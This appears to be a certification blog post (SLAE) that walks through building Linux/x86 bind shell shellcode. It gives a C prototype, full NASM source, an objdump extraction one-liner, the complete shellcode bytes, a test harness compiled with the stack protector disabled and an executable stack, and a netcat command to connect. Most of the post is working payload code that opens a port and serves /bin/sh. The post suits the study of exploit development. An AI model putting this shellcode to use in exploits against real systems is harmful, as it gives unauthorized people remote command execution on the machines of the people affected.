Bind Shell – Shellcode (Linux/x86)

A bind shell is quite common in penetration testing where it is usually combined with an exploit so a tester or assessor could connect to the machine. This basically opens a port and serves a shell as the service running on that specific port in the machine where the code is executed.

First, to be able to create a working “bind shell” shellcode, a C program has been created to test the functionality of the APIs used.

#include <sys/types.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <linux/net.h>
int main()
{

struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(443);
addr.sin_addr.s_addr = INADDR_ANY;

int sockfd = socket(AF_INET, SOCK_STREAM, 0);
bind(sockfd, (struct sockaddr*)&addr, sizeof(addr));
listen(sockfd, 0);

int resultfd = accept(sockfd, NULL, NULL);
dup2(resultfd, 0); // STDIN
dup2(resultfd, 1); // STDOUT
dup2(resultfd, 2); // STDERR
execve(“/bin/sh”, NULL, NULL);

}

The code is pretty straight-forward. First is declaring the structure “sockaddr_in” while adding the necessary details like:

  • AF_INET  – Makes use of the address family for IPv4.
  • htons(443) – Converts  the host byte order (Could be little or big endian depending on the software and hardware) to network byte order (big endian). In this case, 443 is used as the port where the bind shell is going to listen.
  • INADDR_ANY – This is also 0.0.0.0 which lets the socket accept connections in any IPs of the machine.

 
The next is declaring an IPv4 (AF_INET) TCP (SOCK_STREAM) socket. Once it is declared, its descriptor is used to bind with the sockaddr_in structure which has the information about what we’ve set previously. After binding the socket, the listening process starts and halts in the “accept” function until someone connects to the machine’s IPv4 address at port 443. If a connection gets established, STDIN, STDOUT, and STDERR is duplicated which link these descriptors to the connecting party and finally, executing /bin/sh.

The NASM translation of the C program follows as:

global _start
section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov al, 0x66 ; SYS_SOCKETCALL
mov bl, 0x01 ; SYS_SOCKET

; int sockfd = socket(AF_INET, SOCK_STREAM, 0);
push ecx ; SINGLE PROTOCOL = 0x00
inc ecx
push ecx ; SOCK_STREAM = 0x01
inc ecx
push ecx ; AF_INET = 0x02
mov ecx, esp
int 0x80

xor ecx, ecx
mov bl, 0x02 ; SYS_BIND
push ecx
push ecx
push ecx
mov cx, 0xbb01 ; port = 443
shl ecx, 16
mov cl, 0x02 ; AF_INET
push ecx
mov esi, esp
push 16
push esi
push eax ; sockfd
mov ecx, esp

mov al, 0x66 ; SYS_SOCKETCALL
int 0x80

mov bl, 0x04 ; SYS_LISTEN
xor eax, eax
mov dword[esp + 4], eax ; backlog = 0
mov ecx, esp

mov al, 0x66 ; SYS_SOCKETCALL
int 0x80

mov bl, 0x05 ; SYS_ACCEPT
xor eax, eax
mov dword[esp + 8], eax

mov al, 0x66 ; SYS_SOCKETCALL
int 0x80

mov ebx, eax
xor eax, eax
xor ecx, ecx

again: ; dup2(acceptfd, 0) -> dup2(acceptfd, 2)

mov al, 0x3f
int 0x80

inc ecx
cmp ecx, 4
jne again

mov al, 0x0b ; execve(“/bin/sh”, null, null)
xor ecx, ecx
xor edx, edx
push edx
push “//sh”
push “/bin”
mov ebx, esp
int 0x80

This NASM source code is then compiled and linked using the commands:

nasm -f elf32 -o bindshell.o bindshell.asm
ld -o bindshell bindshell.o -N

Once the compilation and linking is successful, objdump can be used to extract the shellcode. This can be automated using the script found here.

objdump -d ./bindshell|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

The output should be similar to this:

\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x41\x51\x41\x51\x89\xe1\xcd\x80\x31\xc9\xb3\x02\x51\x51\x51\x66\xb9\x01\xbb\xc1\xe1\x10\xb1\x02\x51\x89\xe6\x6a\x10\x56\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x31\xc0\x89\x44\x24\x04\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x31\xc0\x89\x44\x24\x08\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x04\x75\xf6\xb0\x0b\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

To test this shellcode, we can compile it with the C program below:

#include <unistd.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>

int main()
{

unsigned short port = 443;
char code[] = “\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x41\x51\x41\x51\x89\xe1\xcd\x80\x31\xc9\xb3\x02\x51\x51\x51\x66\xb9\x01\xbb\xc1\xe1\x10\xb1\x02\x51\x89\xe6\x6a\x10\x56\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x31\xc0\x89\x44\x24\x04\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x31\xc0\x89\x44\x24\x08\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x04\x75\xf6\xb0\x0b\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”;

code[28] = (port >> 8) & 0xff;
code[29] = port & 0xff;

printf(“Shellcode length: %d\n”, strlen(code));
int (*ret)() = (int(*)())code;
ret();

}

Compiling this should include a disabled stack-protector and this can be done by using the command:

gcc -fno-stack-protector -z execstack execshell.c -o execshell

To test this, run ./execshell in one terminal and once the shellcode executes, it should halt in the “accept” code. When this happens, open another terminal and try connecting to port 443 using the command:

nc -nv 127.0.0.1 443

If successfully connected, a bind shell is presented.

All code presented can be found in GitHub.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification (Student ID: SLAE-1261)

Leave a Reply